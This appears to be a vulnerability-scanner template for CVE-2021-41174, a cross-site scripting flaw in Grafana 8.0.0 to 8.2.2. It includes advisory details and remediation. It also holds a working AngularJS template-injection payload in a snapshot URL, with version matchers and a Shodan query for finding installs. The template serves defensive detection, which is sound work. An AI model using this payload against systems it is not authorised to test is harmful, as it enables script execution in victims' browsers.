id: CVE-2021-41174 info: name: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting author: pdteam severity: medium description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions. remediation: Upgrade to 8.2.3 or higher. reference: - https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8 - https://nvd.nist.gov/vuln/detail/CVE-2021-41174 - https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82 - https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912 - https://github.com/grafana/grafana/commit/fb85ed691290d211a5baa44d9a641ab137f0de88 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-41174 cwe-id: CWE-79 epss-score: 0.96462 epss-percentile: 0.99433 cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: grafana product: grafana shodan-query: title:"Grafana" tags: cve,cve2021,grafana,xss http: - method: GET path: - "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1" skip-variables-check: true matchers-condition: and matchers: - type: word words: - "Grafana" - "frontend_boot_js_done_time_seconds" condition: and - type: regex regex: - '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))' - type: status status: - 200 extractors: - type: regex group: 1 regex: - '"subTitle":"Grafana ([a-z0-9.]+)' # digest: 4b0a00483046022100f3fd1438ed8ae801c6cdebdceb7598bcdd860e4c0a82ff6ffb8435593634b5bb022100eecc6f0d6c22cfd2bdad35dc6438a880bba25df10a9598d10d40774de237c0b0:922c64590222798bb761d5b6d8e72950